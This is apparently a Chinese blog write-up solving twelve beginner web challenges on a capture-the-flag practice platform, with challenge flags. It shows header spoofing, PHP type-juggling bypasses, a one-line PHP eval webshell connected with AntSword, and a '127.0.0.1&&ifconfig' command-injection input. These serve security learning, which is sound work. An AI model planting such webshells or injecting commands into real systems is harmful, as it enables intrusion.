攻防世界web练习区题目解答



3篇文章0订阅 订阅专栏

第一关: view_source



按下快捷键fn+f12,或者鼠标右击后点击检查。查看源码即可得到;

▲ 不安全 | 111.200.241.244:646 C 控制台 い いう 次迎 元素 源代码 网络 性能 FLAG is not here <!DOCTYPE html> <html lang="en"> <head>...</head> ····▼ <body> = ▶ <script>...</script> <h1>FLAG is not here</h1> <!-- cyberpeace{54d5399d96e524f6fb76014710dd4063} --> </body> </html> CSDN @akicy

第二关: robots

先从题目中寻找信息,robots,不懂的话我们先去搜索什么是robots。

网络爬虫其实是一种灰色产业!没有法律规定爬虫是违法的,也没有法律规定爬虫不违法,主要看爬取数据的类型,如:

- 高度敏感数据: 行踪轨迹信息、通信内容、征信信息、财产信息;
- 敏感数据:住宿信息、通信记录、健康生理信息、交易信息;
- 其他个人信息: 高度敏感数据和敏感数据。

一般来说,高度敏感的数据根本爬不了;如果是公司要求爬的,那出了事情就是公司的责任。

如果有些东西您不能确认是不是违法,可以向身边律师朋友咨询或者百度谷歌,切莫存侥幸心理!

屏幕前面的您心里一定要有杆称,搞爬虫真的可能会坐牢的。信息犯罪好像是直接坐牢的,而且不是按天算的,毕竟玫瑰金手铐可摆在那里呢!

这杆称就是 Robot.txt 协议。不过, Robot.txt 对学习聚焦型爬虫的我们帮助不大,就当一个常识学一下,也可以根据 Robot.txt 协议列出的网页作为指标, Robot.txt 协议允许的网页我们就能爬,不允许的就不爬呗。
CSDN @akicy

既然是个协议,我们可以在url里面输入寻找试试。

← → C \Lambda 不安全 | 111.200.241.244:54705/robots.txt

User-agent: * Disallow: Disallow: flag_ls_h3re.php

又来了一个文件名称,所以我们可以继续搜搜看。

← → ○ ▲ 不安全 | 111.200.241.244:54705/f1ag_1s_h3re.php

cyberpeace{5071e8b2138a42947ae849848c39ccc7}

总结:可以从这些小细节入手;

第三关: backup

你知道index.php的备份文件名吗?

CSDN @akicy

开题问我什么是index.php的备份文件名,很遗憾,我不太懂,百度试试。

Index. php.bak

index. php 的 备份文件 文件 名: index. php.bak CTFHub 备份文件 下载 题目要求:当开发人员在线上环境中对源代码 进行了 备份 操作,并且将 备份文件 放在了web 目录下,就会引起网站源码泄露。 CSDN @akicy

哦?叫index.php.bak。于是输入进去,提示下载。打开可得。



居然打不开,索性把bak去掉。终于得到了。 总结:遇到不会之处,得多多寻找

第四关: cookie

← → ⑦ ▲ 不安全| 111.200.241.244:52687

|--|

CSDN @akicy

问我什么叫cookie,我只懂它和session,token是维持会话的东东,查一下。

COOKIE, 有时也用兵复致形式, COOKIES。. 关至75 小**至又华又叶 ,** 定未 些网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数 据(通常经过加密),由用户 客户端 计算机暂时或永久保存的信息 [1]。. 中文名.储存在用户本地终端上的数据.外文名.Cookie.复数形式.Cookies. 别名.

原来如此,由客户端计算机...的信息。我用f12瞅瞅。



CSDN @akicy

还真找到了cookie,给了个文件名,找找看。

← → C ▲ 不安全 111.200.241.244:52687/cookie.php			
	い ア ア ア ア ア ア 元素	表 控制台 源代码 网络 × 性能 应用程序 安全性 Li	ghthouse CSS 概述
	 ● Ø = Q □ @ 		
	筛选器	□ 反转 □ 隐藏数据 URL 全部 Fetch/XHR JS CSS Img 媒体 字(本 文档 WS Wasm 清
	10 ms 2	20 ms 30 ms 40 ms 50 ms 60 m	ns 70 ms
	名称	× 标头 预览 响应 发起程序 计时 Cookie	
See the http response	bootstrap.min.css	请求方法: GET 状态代码: ◎ 200 OK 远程地址: 111.200.241.244:52687 引用站点策略: strict-origin-when-cross-origin	
		▼ 响应头 查看源 Connection: Koon Alive	
		Content-Encoding: gzip	
		Content-Length: 253	
		Content-Type: text/html	
		Date: Tue, 22 Mar 2022 06:08:07 GMT	
		<pre>flag: cyberpeace{dd9c4973c61db62e2cea9d7a74fc3c6d}</pre>	
		Keep-Alive: timeout=5, max=100	
		Varv: Accent-Encoding	
	2 次请求 已传输578 B 100.0	X-Powered-By: PHP/5.5.9-1ubuntu4.26	CSDN @akicy

第五关: disabled_button

← → C ▲ 不安全 111.200.241.244:5	2590											
						/	个不能	按的	按钮			
							f	lag				
											CSE	N @akicy
可恶, 按不了啊, 我得看看它是怎么实现的,	f121											
	112.											
← → Ĉ 🔺 不安全 111.200.241.244.52590		印 元表	校制台	源代码	网络	性能	応田程序	安全性	Lighthouse	A [№]	合想索	₽ (3 +
	<html></html>	ead> 不能按的按钮		201 UK3	7324	ITH0		XIII	Lighthouse		10.55	
	<pre></pre>	tion method disabled c	="post"≯ lass="btn	== ≫0 btn-defa	ult" st	yle="hei≬	ht:50px;widt	h:200px;" t	:ype="submit"	value="flag" n	ame="aut	h">
一个不能按的按钮												
flag												
											(CSDN @akicy

有个disable,嗯?删了。果然能点了。 总结:用户不可信于此开始体现;

第六关: weak_auth

Login

username

password

reset

login

CSDN @akicy

这一关的主要点在于弱口令得懂一些,比如admin,123456; 于是我瞎输入了一个;



好家伙,都告诉你了账户名称;

总结: 密码得设置复杂一点,不过有时候密码太复杂容易忘记。

第七关: simple_php

 \rightarrow C ▲ 不安全 | 111.200.241.244:52045 $\langle ?php$ show_source(__FILE__); include("config.php"); \$a=@\$_GET['a']; \$b=@\$_GET['b']; if(\$a==0 and \$a){ echo \$f1ag1; } if(is_numeric(\$b)){ exit(); } if(\$b>1234){ echo \$f1ag2; } 2>

这关的要点在于得懂php,不懂的话,可以百度查意思。get传参,还有个条件句,先看看flag1是啥。如果是post传参,得用工具了,不过这里用不到。

С ▲ 不安全 | 111.200.241.244:52045/?a==0 \leftarrow <?php show_source(__FILE__); include("config.php"); \$a=@\$_GET['a']; \$b=@\$_GET['b']; if(\$a==0 and \$a){ echo \$f1ag1; } if(is_numeric(\$b)){ exit(); 3 if(\$b>1234){ echo \$f1ag2; } ?>

Cyberpeace{647E37C7627CC3E401

CSDN @akicy

好家伙,给一半flag,只能看看flag2了。

\leftarrow		C	\Lambda 不安全	111.200.241.244:52045/?a==0%20&b=12353abc
php<br show_sc include \$a=@\$_G \$b=@\$_G if(\$a== } if(\$a== } if(\$b>1 } ?>	ource(_ e("confi ET['a'] ET['b'] 0 and echo numeric(exit() .234){ echo	FILE); g.php"); ; ; \$a) { \$f1ag1; (\$b)) { ; \$f1ag2;		

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

CSDN @akicy

为什么不令b=1235呢,不是也比1234大嘛?这里是因为有一个is_numeric()函数。那为啥还得同时输入a和b呢。其实不用一起输入。就是麻烦。



9EC69324F66C7C}

CSDN @akicy

总结:不懂点php等语言还是难搞的。

第八关: get_post

这一关得用工具了,这里我用hackbar;

请用GET方式提交一个名为a,值为1的变量 请再以POST方式随便提交一个名为b,值为2的变量 cyberpeace{3f893de65f008baeeb7e1720cbcaafe7}

に 口 査看器	▷ 控制台 D 调试器 1 网络 {} 样式编辑器 ⑦ 性能 ① 内存 已存储 🕆 无障碍环境 2 应用程序 ● HackBar
Encryption -	Encoding - SQL - XSS - Other -
Load URL	http://111.200.241.244:53098/?a=1
• Execute	✓ Post data □ Referer □ User Agent □ Cookies Clear All
	b=2 CSDN @akicy

于是就成了秒过题。

总结: 这里教会的是两种传参方式, post和get。在不同的应用场景下, 传参方式也是不同的。

第九关: xff_referer

ip地址必须为123.123.123.123

ip地址居然必须为123.123.123.123, 另外这个xff是个啥?

WEB安全-伪造X-Forwarded-For绕过服务器IP地址过滤 - 简书 https://www.jianshu.com/p/98c08956183d -

很明显, X-Forwarded-For 参数并不是浏览器当前的地址, 在这个例子中成功伪造了 X-Forwarded-For 信息。如果服务器以 X-Forwarded-For 中的地址 (而不是 remote address) 作为用户的IP地址实行IP地址过滤, 很可能让用户通过伪造 ...

叫X-Forwarded-For,好了,bp可以修改数据包,上bp;先用harkbar发个包,bp拦截后修改;

GET / HTTP/1.1
Host: 111.200.241.244:49158
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 123 123 123 123

CSDN @akicy

发送;

必须来自https://www.google.com

结果又要来自google,这个得用referer了,继续抓包构造;

GET / HTTP/1.1 Host: 111.200.241.244:49158 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For:123.123.123.123 Referer:https://www.google.com

CSDN @akicy

发送后okk; 总结:这里主要涉及数据包的构造问题;

你会使用webshell吗?

<?php @eval(\$_POST['shell']);?>

开篇提及我会用webshell吗?又给了一句话木马的语句,难不成是想让我连接一下?先试试,这里我用蚁剑;

			▶ 分类目录	(1)	>
■ 添加数据		_ 🗆 ×	❹ 添加	A重命名	會 删除
O 添加 X シ	青空 🔅 测试连接		□ 默认分:	类	0
■基础配置		*			
URL地址 *	http://111.200.241.244:50029/	^			
连接密码 *	shell				
网站备注					
编码设置	UTF8	~			
连接类型	PHP	•			
	编码器				
	● default (不推荐)				
	○ random (不推荐)				
	O base64	-			
e 请求信息		^			

果然如此,到这就剩下找到flag了。

	O新建 ▼ ↑上层 2 刷新 《主目录 用书签 ▼ /var/www/html/								
■ var 名称	日期	大小	属性						
Flag.txt	2022-03-22 06:46:32	44 b	0664						
小 index.php	2018-09-27 04:02:04	539 b	0664						

总结:如果是叫我们上传木马,可能会考虑到很多问题。

第十一关: command_execution

这里是命令执行,这里比较直接,先试试ping 127.0.0.1试试能不能用;

PING

请输入需要ping的地址

PING

ping -c 3 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.046 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms --- 127.0.0.1 ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 0.046/0.054/0.060/0.010 ms CSDN @akicy

还是能用的,但我是来找flag的,先看看它是什么操作系统;再执行相应命令;输入127.0.0.1&&ifconfig,执行,应该是Linux 了;

PING

请输入需要ping的地址

PING

```
ping -c 3 127.0.0.1 && ifconfig
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.089 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.062 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.061/0.070/0.089/0.016 ms
         Link encap:Ethernet HWaddr 02:d9:d4:c9:eb:40
eth0
          inet addr:10.42.100.72 Bcast:10.42.255.255 Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST MTU:1402 Metric:1
          RX packets:42 errors:0 dropped:0 overruns:0 frame:0
         TX packets:24 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:4769 (4.7 KB) TX bytes:3954 (3.9 KB)
          Link encap:Local Loopback
10
          inet addr:127.0.0.1 Mask:255.0.0.0
         UP LOOPBACK RUNNING MTU:65536 Metric:1
          RX packets:12 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:1008 (1.0 KB) TX bytes:1008 (1.0 KB)
```

开始找文件; ls, cat, cd啥的用起来;结果找了许久,终于找到了。当然这是笨方法。还有快的方法。



总结: 命令执行的威力可想而知, 如果这里写个马, 或许会更快。

第十二关: simple_js



随便输入试试;不行。看看源码;

```
<num_>
<head>
  <title>JS</title>
 <script type="text/javascript">
       function dechiffre(pass_enc){
          var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
           var tab = pass_enc.split(',');
                 var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (1) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-1];p += String.fromCharCode((o = tab2[i]));</pre>
                               if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){</pre>
                        o = tab[i-1];
                               if(i > 5 && i < k-1)
                                      p += String.fromCharCode((o = tab2[i]));
                        3
           p += String.fromCharCode(tab2[17]);
           pass = p;return pass;
       3
       String["fromCharCode"]
    h = window.prompt('Enter password');
       alert( dechiffre(h) );
  </script>
                                                                                                           CSDN @akicy
 </head>
```

哦豁?这里提示了,得去破译密码了。

\x35\x35\x2c\x35\x36\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\ x34\x39\x2c\x35\x30;这一大串应该就是密码了,不过我们不能直接输入进去,把它弄成别的试试; (\x 是16进制的unicode编 码)绕了好久,我还是直接去找这个是啥吧,786OsErtk12; 总结:编码特征得要明白,不然只能抓瞎;